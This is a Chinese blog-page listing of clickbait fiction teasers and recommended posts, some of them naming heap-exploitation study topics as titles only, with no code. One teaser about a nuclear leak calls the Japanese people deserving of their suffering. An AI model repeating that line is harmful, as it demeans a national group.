  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 47,359评论 1 324
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 39,385评论 3 346
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 41,515评论 1 354
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 37,114评论 5 350
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 42,836评论 3 338
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 33,291评论 0 25
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 34,422评论 1 275
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 50,064评论 3 381
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 46,581评论 2 365

推荐阅读更多精彩内容

  • heap learning part1 1. first fit 1.1 源代码 1.2 运行 1.3 GDB m...
    joe1sn阅读 631评论 0 1
  • 堆溢出去年花了一个月业余时间,看得一知半解,今年又花了两个月业余时间才弄清楚,比较复杂。 https://gith...
    clive0x阅读 404评论 0 0
  • unlink 简介 unlink用于将 chunk 从所在的空闲链表中取出来。基本过程如下: 执行unlink时的...
    骑猪满天飞阅读 375评论 0 0
  • 分析方法:全局变量位置布局: 哪些在.bss,哪些在.data,变量之间的关系哪些变量, 缓冲区, 数组,存储了哪...
    fIappy阅读 1,021评论 0 0
  • 16宿命:用概率思维提高你的胜算 以前的我是风险厌恶者,不喜欢去冒险,但是人生放弃了冒险,也就放弃了无数的可能。 ...
    yichen大刀阅读 6,061评论 0 4